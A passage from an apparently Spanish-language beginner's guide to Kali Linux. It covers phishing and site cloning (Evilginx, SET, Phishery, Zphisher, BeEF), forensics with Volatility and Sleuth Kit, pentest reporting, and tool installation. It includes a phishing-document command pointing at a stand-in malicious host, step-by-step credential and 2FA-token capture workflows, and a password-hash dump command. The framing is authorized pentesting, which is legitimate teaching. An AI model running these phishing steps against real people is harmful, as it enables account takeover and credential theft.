Durante un pentest, configuras Evilginx para clonar el portal de inicio de sesión de Microsoft Office 365. Envías un enlace malicioso a la víctima, quien ingresa sus credenciales y código 2FA en el sitio clonado. Evilginx captura tanto las credenciales como el token 2FA, lo que te permite iniciar sesión en la cuenta de la víctima sin necesidad de volver a ingresar un código 2FA.


8.2 Ataques de Phishing y Clonación de Sitios Web

El phishing es uno de los ataques más comunes en la ingeniería social. Utilizando herramientas como SET y Phishery, puedes crear campañas de phishing efectivas que engañan a las víctimas para que proporcionen información confidencial o descarguen archivos maliciosos.

Phishery

Phishery es una herramienta que permite generar documentos de Microsoft Word que contienen enlaces de phishing. Los documentos se ven completamente normales, pero cuando las víctimas los abren, se les solicita que ingresen sus credenciales en un sitio web falso.

  • Uso básico de Phishery:

    1. Genera un documento de Word que incluye un enlace malicioso:

      phishery --url http://malicioussite.com --template document.docx --output phishing.docx
    2. Envía el documento a las víctimas como parte de una campaña de phishing.

    Cuando la víctima abre el documento y hace clic en el enlace, será redirigida al sitio malicioso donde se le solicitará que ingrese sus credenciales.

Evilginx para Phishing Avanzado

Evilginx no solo permite clonar sitios, sino que también es efectivo para campañas de phishing avanzadas que involucran el uso de autenticación 2FA. El sitio clonado parecerá legítimo, y la víctima no notará que ha sido engañada, ya que la autenticación ocurrirá en segundo plano.


8.3 Buenas Prácticas en Ingeniería Social

Los ataques de ingeniería social requieren más que simplemente lanzar herramientas. A continuación, algunas buenas prácticas para realizar campañas efectivas y responsables en pentests:

  1. Entender a la víctima: Antes de lanzar una campaña de phishing, es importante investigar a la organización y comprender a las víctimas potenciales. ¿Qué correos electrónicos esperan recibir? ¿Qué redes sociales usan? Esto ayuda a crear un ataque más convincente.

  2. No abusar de la confianza: Aunque la ingeniería social explota la confianza humana, es crucial que los pentesters actúen de manera ética y profesional. Las pruebas deben ser autorizadas y planificadas cuidadosamente para evitar daños innecesarios.

  3. Documentar el proceso: Durante la ejecución de un pentest basado en ingeniería social, documenta cada paso del proceso. Esto incluye capturas de pantalla de los correos electrónicos enviados, resultados obtenidos, y cualquier interacción con las víctimas. Esto es esencial para generar un informe detallado que explique cómo se pudo comprometer la seguridad.


Ejemplos Prácticos de Ingeniería Social

Ataque de Phishing con SET

Imagina que, durante un pentest, decides ejecutar una campaña de phishing utilizando SET. Clonas la página de inicio de sesión de un servicio popular como Google y envías un enlace malicioso a las víctimas a través de un correo electrónico personalizado.

  1. Clonación de sitio web:

    set:webattack> clone_site
  2. Envío del enlace de phishing: En el correo, proporcionas un pretexto convincente, como un aviso de seguridad o la solicitud de cambio de contraseña, para que las víctimas ingresen sus credenciales en el sitio clonado.

  3. Captura de credenciales: Una vez que las víctimas ingresan sus credenciales en el sitio falso, SET las almacena y te las muestra en la consola.

Suplantación de una red Wi-Fi con Ghost Phisher

Durante una auditoría de seguridad, creas un punto de acceso Wi-Fi falso utilizando Ghost Phisher y lo nombras de forma similar a una red confiable de la empresa objetivo. Las víctimas se conectan al punto de acceso falso y son redirigidas a una página de inicio de sesión falsificada donde se capturan sus credenciales.

  1. Configurar un punto de acceso falso.
  2. Esperar a que las víctimas se conecten.
  3. Capturar credenciales: Las credenciales ingresadas por las víctimas se almacenan en Ghost Phisher y se muestran en su consola.

Conclusión del Capítulo

La ingeniería social es una de las técnicas más efectivas en un pentest, ya que explota las debilidades humanas en lugar de las técnicas. Herramientas como SET, Ghost Phisher, y Evilginx permiten a los pentesters crear campañas de phishing efectivas y realizar ataques avanzados, como la captura de tokens 2FA. Aunque las herramientas técnicas son importantes, el éxito de los ataques de ingeniería social depende en gran medida de la planificación, la investigación y la ejecución cuidadosa.


Capítulo 9: Análisis Forense y Recolección de Evidencias

Objetivo

El análisis forense digital es una disciplina clave en la ciberseguridad que se encarga de recolectar, preservar, y analizar datos de sistemas comprometidos, a fin de identificar las causas de un incidente de seguridad. En un entorno de pruebas de penetración, es crucial conocer las herramientas y técnicas forenses, ya que ayudan a entender cómo un atacante puede moverse dentro de un sistema o una red y qué rastros dejan los ataques. Además, estas habilidades son esenciales para responder ante incidentes de seguridad y reconstruir los eventos que llevaron a una brecha.

Kali Linux incluye varias herramientas de análisis forense que permiten realizar investigaciones exhaustivas sobre discos, memoria volátil y redes comprometidas. Este capítulo abordará algunas de las principales herramientas, como Autopsy, Sleuth Kit, y Volatility, que permiten realizar análisis detallados y recolección de evidencias.


9.1 Herramientas de Análisis Forense

Autopsy

Autopsy es una herramienta de análisis forense basada en GUI que permite examinar discos y sistemas de archivos para identificar archivos borrados, rastros de actividad sospechosa, y metadatos que pueden ser útiles en una investigación. Autopsy es fácil de usar y se basa en el conjunto de herramientas Sleuth Kit para realizar el análisis forense.

  • Uso básico de Autopsy:

    1. Inicia Autopsy desde Kali Linux y crea un nuevo caso de investigación.
    2. Agrega una imagen de disco o un disco físico como evidencia.
    3. Usa los módulos de Autopsy para buscar archivos borrados, examinar los metadatos de archivos, o analizar la actividad en el sistema.

    Autopsy genera informes detallados que pueden ser utilizados en la documentación de un análisis forense. Además, te permite visualizar el árbol de archivos y carpetas, lo que facilita la búsqueda de archivos específicos o rastros dejados por el atacante.

Ejemplo práctico: Análisis de una imagen de disco con Autopsy

Imagina que durante un pentest descubres un sistema que ha sido comprometido. Quieres analizar el disco del sistema para determinar cómo ocurrió la intrusión y qué archivos fueron modificados o eliminados. Usas Autopsy para cargar la imagen del disco y analizar su contenido.

  1. Cargas la imagen en Autopsy y seleccionas los módulos de análisis de archivos y actividad del usuario.
  2. Autopsy te proporciona un listado de archivos borrados recientemente y te permite reconstruir su contenido.
  3. Analizas los logs y otros artefactos para rastrear la actividad del atacante.

Sleuth Kit

Sleuth Kit es una colección de herramientas de línea de comandos que complementa Autopsy. Incluye utilidades para analizar sistemas de archivos, buscar rastros de actividad sospechosa, y recuperar archivos eliminados.

  • Uso básico de Sleuth Kit:

    1. Para listar las particiones de una imagen de disco:

      mmls disk_image.dd
    2. Para analizar el sistema de archivos de una partición específica:

      fls -r -o 2048 disk_image.dd
    3. Para recuperar archivos borrados:

      icat disk_image.dd 128 > recovered_file.txt

    Sleuth Kit es extremadamente útil cuando se necesita un enfoque forense más detallado o cuando se trabaja en entornos sin acceso a una GUI.

Ejemplo práctico: Recuperación de archivos borrados con Sleuth Kit

Supongamos que has adquirido una imagen de disco de un servidor comprometido. Utilizas Sleuth Kit para buscar y recuperar archivos eliminados que puedan contener información valiosa.

  1. Listas las particiones de la imagen de disco con mmls.
  2. Utilizas fls para listar los archivos y sus metadatos en la partición sospechosa.
  3. Usas icat para recuperar los archivos eliminados.

9.2 Recolección y Análisis de Memoria

La memoria volátil de un sistema (RAM) es una fuente valiosa de información en un análisis forense. Contiene datos temporales que no se almacenan en el disco, como credenciales en texto claro, sesiones activas y artefactos de malware. Herramientas como Volatility permiten capturar y analizar el contenido de la memoria de un sistema comprometido.

Volatility

Volatility es una herramienta de análisis de memoria extremadamente poderosa que permite examinar dumps de memoria RAM para obtener información crítica sobre los procesos en ejecución, conexiones de red, módulos cargados, y más. Volatility también puede detectar malware que resida solo en la memoria, lo que lo convierte en una herramienta esencial en la respuesta a incidentes.

  • Uso básico de Volatility:

    1. Captura un dump de la memoria de un sistema comprometido.
    2. Ejecuta Volatility para analizar el dump:
      volatility -f memory_dump.raw --profile=Win10x64 pslist

    En este ejemplo, Volatility lista todos los procesos en ejecución al momento de capturar la memoria del sistema.

Comandos útiles en Volatility:
  • Listar procesos:

    volatility -f memory_dump.raw pslist
  • Ver conexiones de red:

    volatility -f memory_dump.raw netscan
  • Buscar artefactos de malware:

    volatility -f memory_dump.raw malfind
Ejemplo práctico: Extracción de credenciales con Volatility

Durante un análisis forense, decides examinar la memoria de un sistema Windows comprometido. Utilizas Volatility para buscar credenciales en la memoria:

  1. Capturas la memoria del sistema comprometido utilizando una herramienta como WinPMem.

  2. Cargas el dump de memoria en Volatility y usas el comando hashdump para extraer los hashes de contraseñas:

    volatility -f memory_dump.raw hashdump

    Esto te proporciona los hashes de contraseñas de los usuarios en el sistema, que pueden ser descifrados o reutilizados en otros sistemas.


9.3 Análisis de Redes y Tráfico con Wireshark

Wireshark es una herramienta de análisis de tráfico de red que permite capturar y examinar paquetes en tiempo real. Es especialmente útil para realizar análisis forenses de redes, ya que puedes identificar ataques, tráfico sospechoso y comunicaciones no autorizadas dentro de la red.

  • Uso básico de Wireshark:

    1. Captura el tráfico de red en una interfaz específica:

      wireshark
    2. Filtra el tráfico para centrarse en conexiones sospechosas:

      ip.addr == 192.168.1.100

    Wireshark permite analizar diferentes protocolos, capturar credenciales transmitidas en texto claro, y descubrir ataques como el Man-in-the-Middle (MITM) o intentos de escaneo de puertos.

Ejemplo práctico: Análisis de tráfico malicioso con Wireshark

Durante una investigación de un ataque de red, usas Wireshark para capturar el tráfico en la red comprometida. Filtras el tráfico HTTP para detectar credenciales transmitidas sin cifrado.

  1. Inicias Wireshark en la interfaz de red del sistema comprometido.

  2. Filtras el tráfico HTTP para buscar nombres de usuario y contraseñas que se hayan transmitido sin cifrado:

    http.request.method == "POST"
  3. Analizas los resultados y encuentras que las credenciales fueron transmitidas sin cifrar, lo que permitió al atacante interceptarlas.


Conclusión del Capítulo

El análisis forense digital es una parte crucial de la respuesta a incidentes de seguridad, y las herramientas de Kali Linux, como Autopsy, Sleuth Kit, Volatility, y Wireshark, permiten realizar investigaciones exhaustivas y recolección de evidencias de manera efectiva. Estas herramientas ayudan a los pentesters a entender cómo un sistema fue comprometido, identificar rastros dejados por atacantes y obtener información crítica que puede ser usada para mitigar futuras intrusiones.

El análisis de discos, memoria y tráfico de red proporciona una visión detallada de los ataques y permite reconstruir los eventos clave de un incidente de seguridad. Es importante que los pentesters y los profesionales de seguridad se familiaricen con estas técnicas para realizar investigaciones completas y precisas.


Capítulo 10: Reportes y Documentación

Objetivo

La fase de reportes y documentación es la etapa final y una de las más importantes en cualquier prueba de penetración. Todo el esfuerzo realizado durante las fases de reconocimiento, escaneo, explotación, y post-explotación culmina en un reporte detallado que proporciona a la organización una visión clara de las vulnerabilidades identificadas, los riesgos asociados, y las recomendaciones para mitigarlos. Un buen reporte de pentesting no solo describe las vulnerabilidades encontradas, sino que también explica el impacto que tienen y cómo pueden ser explotadas por un atacante real.

En este capítulo, aprenderemos a generar reportes efectivos y bien estructurados utilizando herramientas de Kali Linux como Dradis Framework, Faraday, Metasploit Pro Reporting, y MagicTree, además de algunas buenas prácticas para escribir reportes profesionales que sean útiles tanto para los equipos técnicos como para la alta dirección.


10.1 Generación de Reportes Automatizados

Existen varias herramientas en Kali Linux que permiten automatizar el proceso de generación de reportes. Estas herramientas recogen información de los distintos escaneos y análisis realizados durante el pentest y organizan los hallazgos en un formato legible y profesional. A continuación, describimos algunas de las herramientas más utilizadas para este propósito.

Dradis Framework

Dradis es una plataforma colaborativa que permite a los equipos de seguridad gestionar y compartir información durante un pentest. Su principal característica es la capacidad de generar reportes bien estructurados de manera automatizada, integrando resultados de varias herramientas de análisis como Nmap, OpenVAS, y Burp Suite.

  • Uso básico de Dradis:
    1. Inicia Dradis desde Kali:

      dradis
    2. Crea un proyecto nuevo y organiza los datos obtenidos de los escaneos de herramientas externas.

    3. Importa los resultados de herramientas como Nmap o OpenVAS.

      dradis import nmap_scan.xml
    4. Usa las plantillas de Dradis para generar un reporte automatizado con los hallazgos organizados por gravedad y con recomendaciones para mitigar las vulnerabilidades.

Ejemplo práctico: Generación de un reporte con Dradis

Imagina que has realizado un pentest completo y quieres generar un reporte automatizado. Con Dradis, puedes importar los resultados de herramientas como Nmap y OpenVAS y organizarlos automáticamente en un formato legible. Los pasos serían:

  1. Importar los resultados del escaneo de Nmap:

    dradis import nmap_scan.xml
  2. Importar los resultados de vulnerabilidades detectadas con OpenVAS:

    dradis import openvas_report.xml
  3. Generar un reporte en formato PDF o HTML que incluya los resultados y las recomendaciones para la organización.

Faraday

Faraday es un IDE de seguridad colaborativo diseñado para facilitar la gestión de resultados y la generación de reportes en pruebas de penetración. Permite integrar múltiples herramientas y gestionar los hallazgos en tiempo real, ofreciendo una vista centralizada de todas las vulnerabilidades identificadas durante el pentest.

  • Uso básico de Faraday:
    1. Inicia Faraday y configura un entorno de trabajo.
    2. Integra herramientas de análisis como Nmap, Burp Suite, Metasploit, y otras.
    3. Organiza los hallazgos dentro del entorno de trabajo y genera reportes detallados.
Ejemplo práctico: Gestión de resultados con Faraday

Durante un pentest en equipo, decides usar Faraday para coordinar y gestionar los hallazgos de varios analistas. Al integrar herramientas como Metasploit y Burp Suite, puedes ver en tiempo real las vulnerabilidades descubiertas y generar un reporte final con todos los hallazgos.

Metasploit Pro Reporting

La versión comercial de Metasploit, Metasploit Pro, incluye características avanzadas para la generación de reportes. Permite crear informes automatizados que documentan las vulnerabilidades explotadas, los sistemas comprometidos, y los payloads utilizados. Aunque Metasploit Pro no está incluido por defecto en Kali Linux, se puede integrar con otros sistemas para generar reportes más completos.

  • Generación de reportes en Metasploit Pro: Una vez finalizado el pentest, puedes utilizar las funciones de reportes de Metasploit Pro para crear un informe con todos los sistemas comprometidos, las vulnerabilidades explotadas y los exploits utilizados.

10.2 Herramientas para la Documentación

Además de las herramientas automatizadas, Kali Linux incluye varias aplicaciones que pueden ser útiles para la documentación manual, toma de notas y organización de la información recolectada durante el pentest.

KeepNote

KeepNote es una herramienta de toma de notas que permite a los pentesters organizar la información obtenida durante un pentest en un formato jerárquico. Puedes agregar capturas de pantalla, archivos, y fragmentos de código, lo que facilita la organización de tus hallazgos.

  • Uso básico de KeepNote:
    1. Inicia KeepNote desde Kali.
    2. Crea un nuevo cuaderno de notas para el proyecto.
    3. Organiza las notas por fases del pentest, como Reconocimiento, Escaneo, Explotación, etc.
    4. Agrega capturas de pantalla de los resultados de los ataques, logs de las herramientas utilizadas y cualquier otra información relevante.

CherryTree

CherryTree es una herramienta similar a KeepNote, pero con soporte avanzado para texto enriquecido y jerarquías más complejas. Permite organizar las notas en varios niveles y es ideal para mantener un registro detallado de todos los pasos realizados durante un pentest.

  • Uso básico de CherryTree:
    1. Inicia CherryTree y crea un nuevo archivo de notas.
    2. Crea nodos jerárquicos para cada fase del pentest.
    3. Agrega notas detalladas, capturas de pantalla y resultados de comandos.
Ejemplo práctico: Documentación con CherryTree

Imagina que estás documentando un pentest en el que has ejecutado varias herramientas de escaneo y explotación. Usas CherryTree para organizar tus notas de la siguiente manera:

  1. Creas un nodo principal llamado Pentest de Acme Corp.
  2. Dentro de ese nodo, creas subnodos como Reconocimiento, Escaneo, Explotación, y Post-explotación.
  3. En cada subnodo, agregas capturas de pantalla y los resultados de las herramientas que utilizaste, facilitando la organización y posterior generación del reporte final.

10.3 Buenas Prácticas para la Documentación de un Pentest

La documentación es un aspecto clave en cualquier pentest, ya que proporciona evidencia de los hallazgos y permite a la organización entender las vulnerabilidades y sus implicaciones. A continuación, algunas buenas prácticas para generar reportes efectivos:

Estructura del Reporte

Un buen reporte de pentest debe tener una estructura clara y organizada, tanto para la parte técnica como para la parte ejecutiva. A continuación, se describe una estructura recomendada:

  1. Resumen Ejecutivo:

    • Describe los objetivos del pentest y proporciona una visión general de los hallazgos más importantes. Este apartado está dirigido a la alta dirección y debe centrarse en el impacto de las vulnerabilidades en el negocio.
  2. Descripción Técnica:

    • Detalla los hallazgos técnicos, incluidos los sistemas analizados, las herramientas utilizadas, y las vulnerabilidades encontradas. Aquí se deben incluir los detalles de cada vulnerabilidad, cómo fue explotada y cuál es su impacto técnico.
  3. Recomendaciones:

    • Proporciona sugerencias sobre cómo mitigar cada vulnerabilidad. Es importante ser claro y conciso, ofreciendo pasos específicos que la organización pueda seguir para solucionar los problemas.
  4. Evidencias:

    • Incluye capturas de pantalla, logs de herramientas, y cualquier otra evidencia que respalde los hallazgos del pentest.

Lenguaje Claro y Conciso

Es importante usar un lenguaje que sea comprensible tanto para personal técnico como no técnico. Evita el uso excesivo de jerga técnica y asegúrate de explicar los conceptos clave de manera sencilla.

Priorizar las Vulnerabilidades

Organiza los hallazgos según su gravedad. Clasificar las vulnerabilidades por su nivel de riesgo (alto, medio, bajo) ayuda a la organización a priorizar los esfuerzos de remediación.

Incluir Recomendaciones Claras

Cada hallazgo debe ir acompañado de recomendaciones claras y detalladas sobre cómo mitigar la vulnerabilidad. Es fundamental que las recomendaciones sean prácticas y viables, considerando las limitaciones técnicas y organizativas del cliente.


10.4 Ejemplos de Reportes

Reporte con Dradis

Al finalizar un pentest, decides usar Dradis para generar un reporte completo. Importas los resultados de Nmap, OpenVAS, y Metasploit, y los organizas por niveles de riesgo. El reporte incluye capturas de pantalla de los exploits exitosos y proporciona recomendaciones detalladas sobre cómo mitigar las vulnerabilidades descubiertas.

Reporte con MagicTree

Utilizas MagicTree para organizar los resultados de varias herramientas y generar un informe detallado que incluye los resultados de

SQLmap y Nikto. El reporte detalla las vulnerabilidades encontradas en las aplicaciones web y sugiere soluciones específicas para cada una.


Conclusión del Capítulo

La fase de reportes y documentación es fundamental para entregar los resultados de un pentest de manera profesional y comprensible. Herramientas como Dradis, Faraday, y Metasploit Pro ayudan a automatizar este proceso, mientras que aplicaciones como KeepNote y CherryTree facilitan la organización de las notas y evidencias recolectadas durante el pentest.

Es fundamental que los pentesters generen reportes claros, concisos, y bien estructurados que incluyan tanto la información técnica como recomendaciones prácticas para mitigar los riesgos identificados. Un buen reporte no solo describe las vulnerabilidades encontradas, sino que también proporciona un camino claro para mejorar la seguridad de la organización.


Apéndice: Otras Herramientas de Pentesting y Seguridad no Incluidas en Kali Linux

Kali Linux es una distribución poderosa que incluye más de 600 herramientas especializadas para pruebas de penetración, análisis forense, y auditorías de seguridad. Sin embargo, existen otras herramientas ampliamente utilizadas en la comunidad de pentesters que no vienen preinstaladas en Kali, pero que pueden ser fácilmente integradas. Este apéndice cubrirá algunas de las herramientas más destacadas, como Nessus, Zphisher, Burp Suite Pro, y otras, proporcionando una breve descripción de cada una, junto con instrucciones de instalación y uso básico.


Nessus

Descripción

Nessus es una de las herramientas más populares para la detección de vulnerabilidades. Desarrollada por Tenable, Nessus ofrece una solución integral para escanear redes y sistemas en busca de vulnerabilidades conocidas, configuraciones incorrectas y otros problemas de seguridad. Nessus es utilizado tanto por empresas como por pentesters para realizar auditorías de seguridad detalladas.

Características

  • Detección de vulnerabilidades críticas.
  • Escaneo de configuraciones incorrectas en sistemas operativos, bases de datos y aplicaciones.
  • Generación de reportes detallados.
  • Gestión de vulnerabilidades en toda la red.

Instalación en Kali Linux

  1. Descarga el paquete desde el sitio oficial de Tenable:
    wget https://www.tenable.com/downloads/nessus
  2. Instala el paquete:
    sudo dpkg -i Nessus-<version>.deb
  3. Inicia Nessus:
    sudo systemctl start nessusd
  4. Accede a la interfaz web en https://localhost:8834 para continuar con la configuración y empezar a utilizarlo.

Uso Básico

Una vez que Nessus está configurado, puedes iniciar un escaneo seleccionando el tipo de red o sistema que deseas analizar. Nessus clasificará las vulnerabilidades por gravedad (baja, media, alta) y proporcionará recomendaciones para su remediación.


Zphisher

Descripción

Zphisher es una herramienta avanzada para realizar ataques de phishing. Facilita la creación de páginas de inicio de sesión falsas para servicios populares como Facebook, Google, Instagram y muchos otros. Aunque similar a herramientas como SET, Zphisher se especializa en la clonación de sitios web y la captura de credenciales de manera eficiente y sencilla.

Características

  • Creación rápida de sitios web falsos para phishing.
  • Soporte para múltiples plantillas de servicios populares.
  • Interfaz sencilla y automatización del proceso de phishing.

Instalación en Kali Linux

  1. Clona el repositorio de Zphisher desde GitHub:
    git clone https://github.com/htr-tech/zphisher.git
  2. Navega al directorio de Zphisher:
    cd zphisher
  3. Da permisos de ejecución al archivo principal:
    chmod +x zphisher.sh
  4. Inicia Zphisher:
    ./zphisher.sh

Uso Básico

Una vez que Zphisher está en ejecución, elige el servicio que deseas clonar (Facebook, Google, etc.). Zphisher generará un enlace que puedes enviar a las víctimas para redirigirlas al sitio falso. Cuando las víctimas ingresen sus credenciales, Zphisher capturará y almacenará esa información.


Burp Suite Pro

Descripción

Burp Suite Pro es una herramienta profesional para el análisis de seguridad de aplicaciones web. A diferencia de la versión gratuita incluida en Kali Linux, Burp Suite Pro ofrece características avanzadas, como la búsqueda automática de vulnerabilidades, la automatización de pruebas y la generación de reportes detallados. Es particularmente útil para encontrar vulnerabilidades como inyección SQL, XSS, y errores de autenticación.

Características

  • Búsqueda automática de vulnerabilidades.
  • Intercepción y modificación de tráfico HTTP/HTTPS.
  • Integración de extensiones para análisis personalizados.
  • Funcionalidad avanzada de escaneo web.

Instalación en Kali Linux

  1. Descarga Burp Suite Pro desde el sitio web de PortSwigger:
    wget https://portswigger.net/burp/releases
  2. Instala Burp Suite Pro utilizando el archivo descargado.
  3. Inicia Burp Suite Pro:
    java -jar burpsuite_pro_v<version>.jar

Uso Básico

Burp Suite Pro permite interceptar el tráfico entre el navegador y las aplicaciones web, lo que facilita el análisis de seguridad. Puedes utilizar su módulo de escaneo automático para identificar vulnerabilidades en aplicaciones web. Además, puedes crear reglas personalizadas para detectar problemas de seguridad específicos.


OpenVAS

Descripción

OpenVAS es un escáner de vulnerabilidades de código abierto que proporciona análisis exhaustivos de seguridad de redes y sistemas. Es una alternativa gratuita y de código abierto a Nessus, y es ampliamente utilizado en auditorías de seguridad para identificar vulnerabilidades conocidas.

Características

  • Escaneo de vulnerabilidades a nivel de red y sistemas.
  • Detección de configuraciones incorrectas en servidores y aplicaciones.
  • Gestión de vulnerabilidades con un enfoque modular.

Instalación en Kali Linux

  1. Instala OpenVAS usando los repositorios de Kali:
    sudo apt update
    sudo apt install openvas
  2. Configura OpenVAS:
    sudo gvm-setup
  3. Inicia el servicio:
    sudo gvm-start
  4. Accede a la interfaz web en https://localhost:9392.

Uso Básico

Una vez configurado, OpenVAS puede ejecutar escaneos de seguridad para detectar vulnerabilidades en redes, sistemas y aplicaciones. Los resultados se presentan en un informe detallado que clasifica las vulnerabilidades según su gravedad.


BeEF (Browser Exploitation Framework)

Descripción

BeEF es una herramienta diseñada para explotar vulnerabilidades en los navegadores web. Permite controlar los navegadores de las víctimas una vez que están "enganchados" a través de un hook JavaScript. BeEF es particularmente útil en ataques dirigidos a los navegadores de los usuarios y permite realizar una amplia gama de ataques, como redireccionamientos, captura de teclas y ejecución de scripts maliciosos.

Características

  • Explotación de vulnerabilidades del navegador.
  • Ejecución remota de comandos a través del navegador comprometido.
  • Interfaz basada en web para gestionar múltiples víctimas.

Instalación en Kali Linux

  1. Clona el repositorio de BeEF desde GitHub:
    git clone https://github.com/beefproject/beef.git
  2. Navega al directorio de BeEF:
    cd beef
  3. Instala las dependencias necesarias:
    sudo apt install ruby ruby-dev
    sudo gem install bundler
    bundle install
  4. Inicia BeEF:
    ./beef

Uso Básico

Una vez que BeEF está en ejecución, puedes utilizar un enlace de hook para enganchar los navegadores de las víctimas. Una vez que el navegador de la víctima está comprometido, puedes ejecutar una amplia variedad de ataques, desde la ejecución de scripts hasta el robo de cookies o el redireccionamiento de la víctima a sitios maliciosos.


Maltego CE

Descripción

Maltego es una herramienta OSINT (Open Source Intelligence) que permite la recopilación de información sobre personas, dominios, redes y más. Maltego es útil para realizar investigaciones de reconocimiento profundo y generar gráficos visuales de relaciones entre datos obtenidos de fuentes abiertas.

Características

  • Recolección de datos OSINT de diversas fuentes.
  • Visualización de relaciones entre entidades como personas, dominios y redes.
  • Capacidades avanzadas de análisis visual.

Instalación en Kali Linux

  1. Descarga la versión Maltego CE desde su sitio web oficial:
    wget https://www.paterva.com/downloads/maltego
  2. Instala el paquete descargado en tu sistema.

Uso Básico

Maltego permite realizar investigaciones profundas sobre objetivos específicos. Puedes usarla para obtener información sobre dominios, direcciones de correo, redes sociales, y otros datos de interés. Además, ofrece una visualización gráfica de las conexiones entre los diferentes elementos investigados.


Conclusión del Apéndice

Aunque Kali Linux incluye una extensa colección de herramientas, muchas otras, como Nessus, Zphisher, Burp Suite Pro, BeEF, y OpenVAS, son herramientas críticas que, aunque no vienen preinstaladas, pueden integrarse fácilmente en Kali. Estas herramientas complementan el conjunto de herramientas de pentesting de Kali y permiten realizar auditorías de seguridad más completas y detalladas, abarcando desde la explotación de vulnerabilidades en navegadores hasta análisis avanzados de redes y aplicaciones web.

Es recomendable que los pentesters se familiaricen con estas herramientas adicionales, ya que amplían las capacidades de análisis y explotación más allá de lo que ofrecen las herramientas preinstaladas en Kali Linux.

About

Un libro que detalla las principales herramientas de Kali, de un modo accesible y relajado. Muy llevadero y completo, para principiantes.

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published